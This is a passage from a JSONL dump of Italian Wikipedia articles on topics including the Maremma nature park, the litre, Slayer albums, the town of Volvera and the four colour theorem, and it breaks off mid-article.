{"id": "26401", "revid": "125153230", "url": "https://it.wikipedia.org/wiki?curid=26401", "title": "Parco naturale della Maremma", "text": "Il parco naturale della Maremma \u00e8 un'area naturale protetta ed \u00e8 stato il primo parco della Toscana, istituito con L.R. 65 del 5 giugno 1975.\n\u00c8 una delle mete pi\u00f9 interessanti della provincia grossetana. Al suo interno si trovano alcune aree di costa fra le pi\u00f9 belle e intatte del litorale maremmano.\nNel 1992 \u00e8 stato insignito del Diploma europeo delle aree protette.\nProvvedimenti istitutivi.\nParco naturale della Maremma: L.R. 65 del 5 giugno 1975.\nAll'interno del Parco regionale si trova il sito di interesse regionale (SIR) \"Pianure di Maremma\": l'area \u00e8 tutelata anche come zona di protezione speciale (ZPS), e il SIR \"Dune dell'Uccellina\", anch'esso sito di interesse comunitario (SIC) e zona di protezione speciale (ZPS) e completamente ricompreso nel Parco naturale.\nTerritorio.\nIl Parco ha un'estensione di 9800 ettari e si estende, lungo costa, dal paese di Principina a Mare (comune di Grosseto), fino al paese di Talamone (comune di Orbetello).\nNel suo territorio ricadono gli ultimi terreni paludosi nei pressi della foce dell'Ombrone, che, ricchi di vita e ancora selvaggi, ospitano importanti colonie di uccelli palustri.\nPi\u00f9 a sud la zona \u00e8 composta dai monti dell'Uccellina ricoperti da una fitta macchia mediterranea e verso est, ai piedi dei monti, da vaste distese erbose, dove si trova la Fattoria di Spergolaia centro amministrativo dell'azienda regionale e sede dei butteri.\nLa tipologia ambientale prevalente nel SIR \"Pianure di Maremma \" \u00e8 data da praterie secondarie e aree agricole abbandonate, in gran parte utilizzate come pascoli per il bestiame semibrado, zone umide di acqua dolce o debolmente salmastra, seminativi. Vaste estensioni del sito sono allagate per parte dell'anno. Tra le altre tipologie ambientali rilevanti ci sono il tratto fluviale prossimo alla foce, la macchia mediterranea, i filari e le alberature, i piccoli nuclei di pino domestico.\nQuesta parte di Toscana \u00e8 un esempio relittuale di complessi palustri, di elevato valore naturalistico e paesaggistico, utilizzati a scopo produttivo (attivit\u00e0 di pascolo semibrado, con vacche e cavalli di razza maremmana).\nIl SIR \"Dune dell'Uccellina\" costituisce uno dei sempre pi\u00f9 rari tratti significativi di costa sabbiosa, con limitata antropizzazione e con dinamismo vegetazionale non condizionato dal turismo balneare. La tipologia ambientale prevalente \u00e8 data da sistemi dunali privi di impianti balneari quindi di grande importanza per la salvaguardia delle specie sia psammofile che psammoalofile. Il sito \u00e8 importante anche per la conservazione di un endemismo esclusivo della zona: \"Limonium etruscum\". Importante la presenza di \"Burhinus oedicnemus\". Costa sabbiosa, in gran parte in regressione, con cordoni dunali e depressioni retrodunali, caratterizzate dalle tipiche formazioni vegetali anche di ambienti umidi, generalmente in ottimo stato di conservazione.\nSIR \"Pianure di Maremma\".\nI principali elementi di criticit\u00e0 interni al sito di interesse regionale sono:\nI principali elementi di criticit\u00e0 esterni al sito sono:\nLe principali misure di conservazione da adottare sono:\nIndicazioni per le misure di conservazione:\nSIR \"Dune dell'Uccellina\".\nI principali elementi di criticit\u00e0 interni al sito sono:\nI principali elementi di criticit\u00e0 esterni al sito sono:\nI principali obiettivi di conservazione sono:\nIndicazioni per le misure di conservazione:\nFlora.\nLe colline dell'Uccellina sono ricoperte da una fitta macchia mediterranea, molto varia nella specie che la compongono, e da oliveti secolari. Ci sono i lecci, le querce da sughero, i cisti, rosmarino, l'erica, lentisco, corbezzolo, aglio selvatico e ginestra.\nPianure di Maremma.\nTra le specie vegetali di rilievo presenti nel SIR \"Pianure di Maremma\" ci sono: l'\"Artemisia coerulescens var. palmata\", una specie molto rara in Toscana, segnalata nei prati salsi del Parco della Maremma e del Padule di Scarlino; l'\"Halocnemum strobilaceum\", specie presente in Toscana nell'unica stazione della Palude della Trappola; la \"Puccinellia palustris\", specie delle aree palustri salmastre, presente in Toscana in stazioni relitte al Tombolo pisano (Bosco Ulivo) e alla Palude della Trappola.\nDune dell'Uccellina.\nPer quel che riguarda al fitocenosi: pratelli alofili retrodunali, a sud di Collelungo (Porto Vecchio), con \"Limonium etruscum\", endemismo esclusivo del Parco della Maremma, oggi ridotto a una sola area di limitata estensione, minacciato dalla variazione della linea di costa. Popolamenti floristici tipici degli habitat di anteduna, duna e retroduna.\nFauna.\nIl Parco ospita numerose colonie di uccelli acquatici come anatidi, garzette, aironi, fenicotteri e alcuni esemplari di rapaci tra cui il falco pescatore, recentemente reinserito. La fauna tipica delle aree a macchia \u00e8 composta da cinghiali, caprioli, daini, istrici, tassi, volpi, rettili di varie specie e molti uccelli.\nNelle distese erbose ai piedi dell'Uccellina pascolano le vacche maremmane e i cavalli maremmani.\nPianure di Maremma.\nAll'interno del SIR \"Pianure di Maremma\", sono presenti, tra gli insetti: il lepidottero \"Euplagia quadripunctaria\".\nTra i pesci: l'alosa (\"Alosa fallax\").\nTra i rettili: la testuggine di Hermann (\"Testudo hermanni\"), la testuggine d'acqua (\"Emys orbicularis\"), il cervone (\"Elaphe quatuorlineata\").\nIl sito \u00e8 un'importantissima area di svernamento per gli uccelli acquatici (area d'importanza internazionale e principale sito italiano di svernamento dell'oca selvatica (\"Anser anser\"), area d'importanza nazionale per alcune altre specie). Altrettanto importante il ruolo svolto come area di sosta durante le migrazioni. Tra gli uccelli, nel SIR sono presenti: il tarabuso (\"Botaurus stellaris\") \u00e8 migratore regolare e svernante presumibilmente regolare; il falco di palude (\"Circus aeruginosus\") \u00e8 migratore e svernante; il lanario (\"Falco biarmicus\") \u00e8 migratore e svernante, forse regolare; la moretta tabaccata (\"Aythya nyroca\") \u00e8 migratore regolare, svernante occasionale; la volpoca (\"Tadorna tadorna\") \u00e8 migratore regolare, svernante irregolare; l'occhione (\"Burhinus oedicnemus\") \u00e8 nidificante e svernante, nell'unico suo sito di svernamento regolare in Toscana; la ghiandaia marina (\"Coracias garrulus\") \u00e8 nidificante.\nTra i mammiferi, \u00e8 presente il rinolofo euriale (\"Rhinolophus euryale\"), un chirottero.\nDune dell'Uccellina.\nNel SIR, tra i rettili: il cervone (\"Elaphe quatuorlineata\"); la testuggine di Hermann (\"Testudo hermanni\").\nTra gli insetti: \"Euplagia quadripunctaria\".\nTra gli uccelli: (l'occhione (\"Burhinus oedicnemus\") \u00e8 nidificante nel sito o ai suoi margini. Il sito, soprattutto nelle porzioni a nord del Fiume Ombrone, costituisce un'importante area di sosta e svernamento per numerose specie di uccelli.\nMonumenti e luoghi d'interesse.\nNel parco naturale della Maremma vi sono anche numerosi siti archeologici, alcuni etruschi-romani, altri risalenti al periodo medioevale, come le torri di avvistamento e l'abbazia di San Rabano risalente al 1100 e recentemente restaurata.\nServizi.\nIl Centro Visite principale si trova ad Alberese. L'acquario della Laguna di Orbetello con sede a Talamone ha funzione di Centro Visite per gli itinerari da Talamone.\nNumerosi sono gli itinerari, caratterizzati da diversi livelli di difficolt\u00e0; si va dai pi\u00f9 semplici, alcuni anche per portatori di handicap ai pi\u00f9 complessi senza tuttavia raggiungere mai livelli molto impegnativi.\nSono possibili numerose escursioni naturalistiche, gite a cavallo, in canoa, escursioni notturne e per l'osservazione di volatili."}
{"id": "26405", "revid": "2056951", "url": "https://it.wikipedia.org/wiki?curid=26405", "title": "Cyrano de Bergerac", "text": ""}
{"id": "26410", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26410", "title": "Ttm", "text": ""}
{"id": "26411", "revid": "623104", "url": "https://it.wikipedia.org/wiki?curid=26411", "title": "Time to market", "text": "La locuzione inglese time to market (o TTM) indica il periodo di tempo che intercorre tra l'ideazione di un prodotto e la sua effettiva commercializzazione.\nIl \"time to market\" comprende le fasi di studi di mercato, gli studi di fattibilit\u00e0, la ingegnerizzazione, la creazione di un prototipo, la produzione in larga scala, l'immissione sul mercato.\nNel campo delle nuove tecnologie \u00e8 di fondamentale importanza abbassare il \"time to market\" per imporsi sul mercato prima dei concorrenti.\nSettore abbigliamento.\nIl settore abbigliamento \u00e8 il tipico caso di tendenza all'abbreviazione del \"time to market\".\nNel dopoguerra era progressivamente nata l'industria dell'abbigliamento su larga scala; i tempi di realizzazione e commercializzazione dei prodotti erano di 6 mesi, anche per la stagionalit\u00e0 del prodotto (estate-inverno). Una rottura di questo schema lo si \u00e8 avuto con l'affermarsi del pronto moda che ha tempi di realizzazione molto pi\u00f9 ridotti. L'attuale tendenza al diffondersi di sistemi di raccolta ordini alternativi come il camerino virtuale dove la prova del capo d'abbigliamento \u00e8 senza l'oggetto fisico pu\u00f2 permettere un'ulteriore contrazione dei tempi, anche perch\u00e9 i dati sulle preferenze dei clienti possono essere raccolti in tempo reale."}
{"id": "26414", "revid": "124428991", "url": "https://it.wikipedia.org/wiki?curid=26414", "title": "Litro", "text": "Il litro (simbolo: L) \u00e8 un'unit\u00e0 di misura del volume. Non \u00e8 un'unit\u00e0 del SI ma \u00e8 tuttora accettata a titolo transitorio.\nRiferendosi al SI, un litro equivale a 10\u22123\u00a0m\u00b3 (ovvero 1 dm\u00b3).\nIl simbolo.\nIl simbolo del litro era in origine l (lettera elle minuscola).\nPer evitare confusioni con il numero 1 o la lettera I, nel 1979 fu adottato il simbolo L (lettera elle maiuscola). Il National Institute of Standards and Technology degli Stati Uniti raccomanda la L maiuscola. Tuttavia sarebbe corretto utilizzare anche la minuscola, pur essendo fortemente sconsigliato, in concordanza con il fatto che le unit\u00e0 di misura sono indicate in maiuscolo solo se derivanti da nomi propri (per esempio, watt \u2192 W; ampere \u2192 A).\nPrima del 1979 in alcuni paesi si usava il simbolo \u2113 (l corsiva minuscola); era stato raccomandato negli anni settanta dalla pubblicazione M33 del South African Bureau of Standards. Rimane nell'uso comune, ma non \u00e8 accettato dall'Ufficio internazionale dei pesi e delle misure.\nEsiste, inoltre, l'abbreviazione lt., ma anche questa non \u00e8 riconosciuta dal BIPM.\nStoria.\nNel 1793 il litro fu introdotto in Francia come una delle nuove \"misure repubblicane\". Corrisponde ad un decimetro cubo. Il termine deriva da una storica unit\u00e0 francese, chiamata \"litron\", dal greco \u03bb\u03af\u03c4\u03c1\u03b1 (\"litra\"), antica unit\u00e0 di misura di volume.\nNel 1879 il Comitato internazionale dei pesi e delle misure adott\u00f2 la definizione di litro e il simbolo l.\nNel 1901 alla terza Conferenza generale dei pesi e delle misure il litro \u00e8 stato ridefinito come il volume occupato da di acqua pura alla temperatura della sua massima densit\u00e0 () alla pressione di un'atmosfera. Si pensava che questo fosse , ma successivamente si scopr\u00ec che era 1,00028\u00a0dm\u00b3. In pi\u00f9 il volume dipende dalla pressione, e l'unit\u00e0 di pressione ha come fattore la massa, per cui si crea una dipendenza circolare con la definizione del chilogrammo.\nNel 1964 durante la 12\u00aa Conferenza generale dei pesi e delle misure fu ripristinata l'originale definizione del litro. Fu consigliato l'uso di questa unit\u00e0 in ambiti commerciali, ma non per lavori scientifici di alta precisione.\nNel 1979 durante la 16\u00aa Conferenza generale dei pesi e delle misure fu accettato il simbolo L, utilizzabile in alternativa a l.\nMultipli e sottomultipli.\nIl litro pu\u00f2 essere suddiviso in unit\u00e0 pi\u00f9 grandi e pi\u00f9 piccole utilizzando i prefissi del SI.\nLe quantit\u00e0 di liquidi maggiori possono essere misurate usando chilolitri, megalitri, gigalitri o teralitri, ma normalmente in questi casi si usano i metri cubi ().\nPicolitro.\nIl picolitro () \u00e8 utile, per esempio, per indicare la quantit\u00e0 di inchiostro che viene spruzzata dagli ugelli delle stampanti a getto d'inchiostro per produrre un singolo punto di colore sul foglio.\nDalla dimensione delle singole gocce dipende il diametro dei punti di colore e, quindi, la definizione dell'immagine stampata. \nIn pratica il picolitro viene utilizzato, impropriamente, come unit\u00e0 di misura del diametro dei punti, quando non della definizione dell'immagine."}
{"id": "26420", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26420", "title": "Reign in Blood", "text": "Reign in Blood \u00e8 il terzo album in studio del gruppo musicale statunitense Slayer, pubblicato il 7 ottobre 1986 dalla Def Jam Recordings.\nConsiderato da pi\u00f9 parti una pietra miliare del thrash metal, il disco \u00e8 tra i pi\u00f9 importanti del metal estremo ed ha ispirato numerose formazioni thrash, death e black metal. Secondo il critico Steve Huey di AllMusic, \"Reign in Blood\" ha ispirato l'intero genere death metal mentre \"Metal Hammer\" nel 2006 lo defin\u00ec il pi\u00f9 grande album metal degli ultimi 20 anni.\nNel giugno del 2017 la rivista \"Rolling Stone\" ha collocato l'album alla sesta posizione dei 100 migliori album metal di tutti i tempi.\nDescrizione.\nAntefatti e pubblicazione.\nDopo il successo ottenuto con \"Hell Awaits\", gli Slayer vennero notati da Rick Rubin della Def Jam Recordings, un'etichetta rivolta principalmente alla musica hip hop. Dave Lombardo venne a conoscenza del suo interesse e lo contatt\u00f2 tramite il fotografo Glen E. Friedman. Gli altri membri preferivano non lasciare la Metal Blade Records, con la quale erano ancora sotto contratto. Durante una visita ad una riunione tenuta da Slagel, Rubin parl\u00f2 direttamente con il gruppo, insistendo di firmare per la Def Jam. Cos\u00ec gli Slayer entrarono a far parte dell'etichetta di Rubin, in quel momento alla prima esperienza con un gruppo heavy metal.\n\"Reign in Blood\" trov\u00f2 vari problemi alla sua uscita: gli Slayer prevedevano la sua pubblicazione nel mese di luglio, tuttavia la sua uscita fu spostata per il mese di ottobre. Le cause furono il ritardo della preparazione della copertina e, principalmente, la rottura del contratto con la CBS all'inizio di settembre. L'etichetta si rifiut\u00f2 di distribuire il loro disco dopo essere stata influenzata da un parere negativo sugli Slayer espresso dalla PMRC. La CBS, che a quel tempo ebbe problemi legali assieme a Ozzy Osbourne, il quale fu accusato di aver incitato un giovane a suicidarsi con il brano \"Suicide Solution\", decise di rompere il contratto pensando di riscontrare problemi simili anche con il gruppo. Alla fine \"Reign in Blood\" riusc\u00ec poi a trovare la Geffen Records come distributore.\nConcezione.\nIn circa 29 minuti viene espressa una velocit\u00e0 e una violenza sonora inaudita mai raggiunta a quei tempi. Ad esclusione di \"Angel of Death\", \"Postmortem\" e \"Raining Blood\", la durata media dei brani \u00e8 di circa due minuti e mezzo, una caratteristica della musica hardcore punk che influenz\u00f2 molto il sound degli Slayer. Oltre alla coppia chitarristica composta da Kerry King e Jeff Hanneman, il drumming di Dave Lombardo \u00e8 stato determinante nel rendere distinto questo disco, per via dei suoi grooves tanto violenti quanto precisi che hanno influenzato lo stile di numerosi batteristi metal moderni.\nPer il disco, gli Slayer decisero di abbandonare le tematiche sataniste del precedente album \"Hell Awaits\", per scrivere testi che fossero pi\u00f9 attuali. Le tematiche, infatti, trattano di morte, anti-religione, pazzia, e omicidio, mentre la traccia d'apertura \"Angel of Death\" narra degli esperimenti su esseri umani condotti da Josef Mengele nel campo di concentramento di Auschwitz. La traccia port\u00f2 al gruppo l'accusa di simpatie naziste e razziste, che perseguiteranno il gruppo per tutta la carriera futura. La Columbia Records, casa discografica distributrice delle uscite Def Jam, si rifiut\u00f2 di distribuire l'album proprio a causa della summenzionata \"Angel of Death\", e per questo \"Reign in Blood\" fin\u00ec per essere distribuito dalla Geffen Records; tuttavia, a causa delle varie polemiche non apparve nell'annuncio programmato delle uscite ufficiali della Geffen.\nDa ricordare anche \"Jesus Saves\", che conferma la tesi anti-religiosa di Kerry King (l'autore del testo), in quanto egli \u00e8 molto ostile nei confronti di essa, mentre \"Reborn\" parla di una strega condannata a morte sul rogo.\nCover.\nSono state fatte varie cover dei brani di questo disco, specialmente di \"Angel of Death\" (Sepultura, Monstrosity, Apocalyptica, Asesino) e di \"Raining Blood\" (Malevolent Creation, Freaklabel, Vader, Chimaira). I pezzi e alcuni riff di questo album sono stati reinterpretati anche da vari artisti non appartenenti all'heavy metal: Tori Amos fece una versione lenta e cupa di \"Raining Blood\" (\"Strange Little Girls\" del 2001), i Public Enemy campionarono il riff centrale di \"Angel of Death\" nel brano \"She Watch Channel Zero?!\" (da \"It Takes a Nation of Millions to Hold Us Back\" del 1988).\nUna cover di \"Raining Blood/Post Mortem\" compare anche sull'album Bloodlust dei Body Count, preceduta da un'introduzione a voce di Ice-T che cita gli Slayer come ispiratori del suo progetto metal insieme ad altri gruppi come Black Sabbath e Suicidal Tendencies.\nIl rapper Lil Jon us\u00f2 la parte strumentale di \"Raining Blood\" come sottofondo nel suo brano \"Stop Fuckin' Wit Me\", dal disco \"Crunk Juice\" (2004). Altra canzone degli Slayer avvertibile nella sua lirica \u00e8 \"Mandatory Suicide\", del successivo \"South of Heaven\". Nel 2003 alcuni gruppi hardcore punk (come i Most Precious Blood e gli Sworn Vengeance) hanno pubblicato un disco chiamato \"Covered in Blood\", dove hanno reinterpretato tutti i brani di \"Reign in Blood\". Nel 2005, il compositore statunitense Erik Hinds ha reinterpretato l'intero album con l'arpeggione."}
{"id": "26421", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26421", "title": "South of Heaven", "text": "South of Heaven \u00e8 il quarto album in studio del gruppo musicale statunitense Slayer, pubblicato il 5 luglio 1988 dalla Def Jam Recordings.\nDescrizione.\nDopo il successo avuto con \"Reign in Blood\", pubblicato due anni prima, gli Slayer danno vita ad un disco meno brutale rispetto al precedente lavoro. \"South of Heaven\" mostra un rallentamento del ritmo dei brani e l'aggiunta di uno sprazzo di melodia, mantenendo, comunque, un sound decisamente incisivo. Alla composizione dei brani d\u00e0 un importante contributo anche il cantante e bassista Tom Araya.\nL'album ottenne un buon successo negli Stati Uniti d'America, dove fu certificato disco d'oro per le oltre 500.000 copie vendute.\nL'omonima \"South of Heaven\" rende l'idea di come il sound degli Slayer si sia evoluto, per via della sua introduzione melodica e sinistra. La seguente \"Silent Scream\" riporta gli Slayer verso il loro classico sound. \"Behind the Crooked Cross\" \u00e8 una delle tante canzoni finite sul \"banco degli imputati\" per inneggio al nazismo (\"crooked cross\" significa \"croce uncinata\", simbolo della dittatura di Adolf Hitler), anche se certi, leggendo il testo, hanno dedotto che gli Slayer ripudiano fortemente quell'ideologia. Il testo parla di alcuni soldati tedeschi che iniziano a sentire il rimorso dei crimini che stanno commettendo. Il testo di \"Mandatory Suicide\" elenca le tragedie e gli orrori che porta la guerra; la sua introduzione fu campionata dal rapper Lil Jon nel suo brano \"Stop Fuckin' wit Me\", presente in \"Crunk Juice\".\nL'introduzione del brano \"Ghosts of War\" presenta la stessa parte ritmica del finale di \"Chemical Warfare\", tratto dall'EP \"Haunting the Chapel\", mentre il successivo \"Read Between the Lies\" \u00e8 un duro attacco nei confronti dei falsi predicatori della Chiesa. Nell'album \u00e8 inoltre presente una reinterpretazione di \"Dissident Aggressor\", originariamente composto dai Judas Priest.\nNel giugno del 2017 la rivista \"Rolling Stone\" ha collocato l'album alla quarantasettesima posizione dei 100 migliori album metal di tutti i tempi."}
{"id": "26424", "revid": "125266385", "url": "https://it.wikipedia.org/wiki?curid=26424", "title": "Volvera", "text": "Volvera (\"La Volvera\" in piemontese) \u00e8 un comune italiano di abitanti della citt\u00e0 metropolitana di Torino in Piemonte.\nGeografia fisica.\nIl territorio del comune di Volvera, tutto pianeggiante, si estende su un antico terrazzo alluvionale. Il centro del paese si trova a una quota di 251\u00a0m sul livello del mare.\nI terreni sono molto diversificati, da quelli sciolti con abbondanza di sassi fino a quelli sabbioso-limosi, passando per quelli fortemente argillosi (a quest'ultima caratteristica \u00e8 dovuta la presenza in passato di una fornace per la produzione di terracotta).\nIl comune \u00e8 bagnato dal torrente Chisola.\nStoria.\nNell'antichit\u00e0 Volvera era conosciuta come Laurera, nome probabilmente dovuto alle piante di lauro presenti nel paese e attorno alle mura dell'antico castello di Volvera.\nLe prime notizie sul centro abitato risalgono all'XI secolo: nel 1029, infatti, la met\u00e0 del paese venne donata dal vescovo di Asti, Alrico, al monastero di San Giusto di Susa, che ottenne l'altra met\u00e0 dal prete Sigifredo nel 1037.\nNel XII secolo il paese entr\u00f2 a far parte dei possedimenti dei conti di Piossasco. Gualtieri I, all'interno della politica di ampliamento del suo feudo, occup\u00f2 Volvera, sottraendola al controllo dei monaci. Nonostante l'appello al conte Amedeo III di Savoia, pronunciatosi a favore dei monaci, questi ultimi non riebbero il feudo, anche per il non fattivo intervento di Amedeo che non voleva inimicarsi i Piossasco, da tempo suoi fedeli seguaci. I Piossasco rimasero quindi feudatari di Volvera fino all'abolizione della feudalit\u00e0 alla fine del XVIII secolo.\nVolvera fu sede di numerosi scontri di truppe, tra cui sono da ricordare quelli culminati nella battaglia della Marsaglia (4 ottobre 1693) e il passaggio di truppe francesi nel 1799 in occasione della presa di possesso del Piemonte, dopo la cacciata del re Carlo Emanuele IV. Dopo la battaglia della Marsaglia il centro abitato di Volvera venne rovinato, incendiato e saccheggiato con danni immensi che restarono evidenti per molto tempo e non venne risparmiata neanche la chiesa parrocchiale. A causa dei pi\u00f9 di dodicimila soldati caduti nelle campagne e lasciati insepolti per settimane, i terreni rimasero incoltivabili per anni: una volta sepolti i caduti, i campi furono decorati da centinaia di croci in legno; oggi in memoria dei caduti \u00e8 presente il monumento \"Croce Barone\", una grande croce in pietra installata sulla strada antica di Pinerolo nel 1913.\nSecondo conflitto mondiale.\nVolvera e le campagne confinanti furono sede di vari aviolanci alleati e dal dicembre del 1944 il paese fu centro del comando della \"Brigata Campana\", costituita da vari gruppi partigiani per un totale di circa 200 combattenti che attuarono svariate operazioni di sabotaggio e scontri a fuoco che portarono alla liberazione dei paesi e delle valli vicine.\nRitrovamenti di epoca romana.\nNei primi anni del Novecento nel centro di Volvera, durante uno scavo per le fondamenta di una casa, vennero alla luce due tombe; la scoperta venne inizialmente comunicata all'autorit\u00e0 comunale, ma poi a nessun ufficio competente e questo port\u00f2 alla distruzione del sito.\nAll'interno delle due tombe, una a cappuccina senza corredo e l'altra in pietra con corredo, furono rinvenuti materiali particolarmente importanti, quali una patera in bronzo e un set di strigili, tutti elementi riferibili all'attivit\u00e0 sportiva dell'antica Roma. Questi oggetti servivano per ripulirsi dopo aver praticato attivit\u00e0 ginnica: la patera era sostanzialmente una padella che veniva utilizzata per risciacquarsi il corpo, mentre gli strigili erano usati per detergere e pulire la pelle con olio e polvere di pomice o sabbia. La presenza di questi oggetti caratterizza alcune sepolture di ceti elevati tra la fine del I secolo a.C. e gli inizi del I secolo d.C.\nMonumenti e luoghi d'interesse.\nArchitetture religiose.\nChiesa di San Giovanni.\nCostruita intorno all'anno 1000, \u00e8 stata la chiesa parrocchiale fino al 1617. Sorge al centro del cimitero comunale e presenta un ciclo di affreschi del XVI secolo e uno del XIX secolo.\nChiesa patronale dell'Assunzione di Maria Vergine.\nLa costruzione della chiesa parrocchiale fu ordinata dall'arcivescovo di Torino Carlo Broglia nella sua visita pastorale del 1595, perch\u00e9 quella vecchia - l'attuale chiesa di San Giovanni Battista del cimitero, risalente al XIII secolo - era diventata scomoda per il paese che si andava espandendo. Furono necessari 20 anni, dal 1598 al 1618, per portare a termine l'opera.\nGi\u00e0 in origine la chiesa era composta da tre navate, ma nel corso degli anni, in seguito alle varie ristrutturazioni, \u00e8 stata arricchita via via da statue, cornici e capitelli (da ricordare i due principali cambiamenti, che furono la ricostruzione del pavimento in losoni di pietra e la sostituzione dell'originale altare di legno con uno di marmo).\nChiesa dello Spirito Santo o della Confraternita.\nLa chiesa dello Spirito Santo, conosciuta come la \"cappella della confraternita\", sorge in via XXIV Maggio e presenta una facciata intonacata con timpano triangolare. Il campanile barocco in mattoni e con cupola in rame \u00e8 notevole per l'armonia del disegno di impostazione juvarriana. All'interno \u00e8 presente un'opera pittorica attribuita a C. Sacchi, della scuola di Guglielmo Caccia detto \"il Moncalvo\".\nCappella Pilotti.\nLa cappella Pilotti (\"Capela 'd Pil\u00f2t\") \u00e8 un'opera architettonica di particolare pregio di Volvera. Si trova fuori del paese a ridosso dell'autostrada Torino-Pinerolo, nei pressi dello svincolo di Volvera.\nEra stata costruita come cappella privata da un certo Giuseppe Pilotto all'inizio del XVIII secolo. Fu successivamente ampliata e divenne nel tempo luogo di devozione della comunit\u00e0 cristiana di Volvera.\n\u00c8 stata recentemente restaurata in occasione della costruzione dell'autostrada e ospita occasionalmente eventi culturali.\nCappella San Pancrazio.\nLa costruzione di inizio secolo XX, quasi contemporanea della Mole Antonelliana, \u00e8 modulata secondo un canone tardo neoclassico. La parte inferiore della facciata presenta lesene e colonne in muratura. Al centro dell\u2019ordine superiore si apre un rosone rotondo tra due angeli in cemento e stucco. Un timpano triangolare e due pinnacoli laterali concludono la facciata. Anticamente esisteva sul luogo una cappella dedicata a san Pancrazio martire, patrono di quel rione. Inoltre, la cappella dedicata a San Sebastiano martire venne distrutta dalle soldatesche francesi nelle primavere del 1799 e del 1814, quando saccheggiarono Volvera.\nCappella della Consolata.\nFu la prima chiesa delle frazioni di Volvera, costruita nel 1849 in un piccolo spazio vicino alla strada antica di Pinerolo. Nel 1918 la cappella fu acquistata dall\u2019avvocato Stefano Bertolini che la affid\u00f2 alla figlia e, insieme, si impegnarono tenacemente a regolarizzare la posizione canonica e giuridica della chiesetta e a promuoverne un suo devoto utilizzo da parte dei gerbolini (abitanti della frazione Gerbole di Volvera).\nSociet\u00e0.\nEvoluzione demografica.\nNegli ultimi cinquant'anni, a partire dall'anno 1961, la popolazione residente si \u00e8 quadruplicata.\nCultura.\nBiblioteca.\nA Volvera \u00e8 stata inaugurata la biblioteca comunale nel 2008. Ha sede in una vecchia cascina, adiacente al teatro.\nTeatro.\nA Volvera \u00e8 presente il Teatro Bossatis, edificio polifunzionale in cui vengono ospitati spettacoli di teatro e circo, con corsi annessi. Il teatro \u00e8 gestito dall'associazione no profit \"Arte Della Commedia\", che gestisce la parte teatrale, e dal 2017 dall'Associazione di promozione sociale Jaql\u00e9, che gestisce la parte del circo. Il teatro \u00e8 stato inaugurato nel 2008, e ha sede nella ex-cascina Bossatis accanto alla biblioteca.\nAmministrazione.\nDi seguito \u00e8 presentata una tabella relativa alle amministrazioni che si sono succedute in questo comune.\nSport.\nIl Volvera Rugby partecipa al campionato italiano di rugby di serie C.\nL'Atletico Volvera Calcio partecipa al campionato piemontese di calcio di seconda categoria.\nEntrambe le squadre giocano le partite interne al campo comunale di via Castagnole."}
{"id": "26427", "revid": "919135", "url": "https://it.wikipedia.org/wiki?curid=26427", "title": "Teorema dei quattro colori", "text": "Il teorema dei quattro colori \u00e8 un teorema di matematica che afferma che data una superficie piana divisa in regioni connesse, come ad esempio una carta geografica politica, sono sufficienti quattro colori per colorare ogni regione facendo in modo che regioni adiacenti non abbiano lo stesso colore. Due regioni sono dette \"adiacenti\" se hanno almeno una linea di confine in comune. Ciascuna regione deve inoltre occupare un territorio connesso, cio\u00e8 non deve essere formata da due o pi\u00f9 parti sconnesse, ovvero con la presenza di exclavi.\n\u00c8 immediato trovare mappe per le quali tre soli colori non sono sufficienti. Non \u00e8 eccessivamente difficile dimostrare che ne bastano al pi\u00f9 cinque.\nTuttavia dimostrare che ne siano sufficienti quattro \u00e8 particolarmente complesso, tanto che la dimostrazione di questo teorema ha richiesto, tra l'altro, un estensivo ricorso al computer, per una delle prime volte nella storia della matematica.\nStoria.\nLa congettura venne presentata per la prima volta nel 1852, quando Francis Guthrie, uno studente di Augustus De Morgan, si accorse che per colorare una mappa delle contee britanniche erano sufficienti quattro colori. La prima pubblicazione relativa all'argomento si deve ad Arthur Cayley.\nNegli anni successivi molti matematici tentarono invano di dimostrare il teorema. La prima, acclamata \"dimostrazione\", a lungo riconosciuta come definitiva, fu formulata nel 1879 da Alfred Kempe; nel 1880 Peter Tait annunci\u00f2 di avere trovato un'ulteriore dimostrazione del teorema. Nel 1890 Percy Heawood scopr\u00ec l'errore che minava la dimostrazione di Kempe, ben undici anni dopo la sua formulazione; l'anno successivo, ad opera di Julius Petersen, anche la dimostrazione di Tait fu riconosciuta errata. Confutando la dimostrazione di Kempe, Heawood dimostr\u00f2 tuttavia che cinque colori erano sufficienti per qualsiasi mappa.\nLa definitiva dimostrazione del teorema per quattro soli colori \u00e8 stata fornita nel 1977 da parte di Kenneth Appel e Wolfgang Haken, due matematici dell'Universit\u00e0 dell'Illinois, grazie a un complesso algoritmo informatico.\nLa dimostrazione si basa sulla riduzione del numero infinito di mappe possibili a 1936 configurazioni (poi ulteriormente ridotte a 1476), per le quali la validit\u00e0 del teorema viene verificata caso per caso dal computer. Qualsiasi mappa pu\u00f2 infatti essere ricondotta a un numero finito, sebbene assai elevato, di topologie \"notevoli\" tramite operazioni che modificano le relative posizioni delle regioni che la costituiscono, ma non le propriet\u00e0 topologiche della mappa stessa.\nPer ridurre al minimo la possibilit\u00e0 di errore, il programma fu eseguito su due diverse macchine con due algoritmi indipendenti; per completare l'analisi di tutti i casi possibili fu necessario far lavorare i computer per migliaia di ore. Alla fine, servirono pi\u00f9 di 500 pagine per trascrivere a mano tutte le verifiche che costituivano la dimostrazione.\nIl rivoluzionario utilizzo di algoritmi informatici per verificare l'esattezza della congettura scaten\u00f2 grandi polemiche sull'affidabilit\u00e0 di questi metodi. Il fatto che la dimostrazione fosse basata sull'analisi di una moltitudine di casi discreti port\u00f2 alcuni matematici a contestarne l'effettiva validit\u00e0: sia per l'impraticabilit\u00e0 di una verifica manuale di tutti i casi possibili, sia per la difficolt\u00e0 di avere la certezza che l'algoritmo fosse implementato correttamente. Ad ogni modo, nonostante le accuse di scarsa \"eleganza\", nell'algoritmo non \u00e8 mai stato trovato alcun errore.\nFormulazione in teoria dei grafi.\nIl teorema pu\u00f2 essere espresso in forma pi\u00f9 comprensibile sfruttando la teoria dei grafi. In questa formulazione i vertici di ciascun grafo planare possono essere colorati utilizzando al massimo quattro colori, in modo tale che due vertici adiacenti non ricevano mai lo stesso colore. In breve, si pu\u00f2 affermare che \"ogni grafo planare \u00e8 4-colorabile\". Questa rappresentazione associa ogni regione della mappa a un vertice del grafo; due vertici sono connessi da uno spigolo se e solo se le due regioni corrispondenti hanno un segmento di bordo in comune.\nGeneralizzazione.\n\u00c8 inoltre possibile considerare il problema della 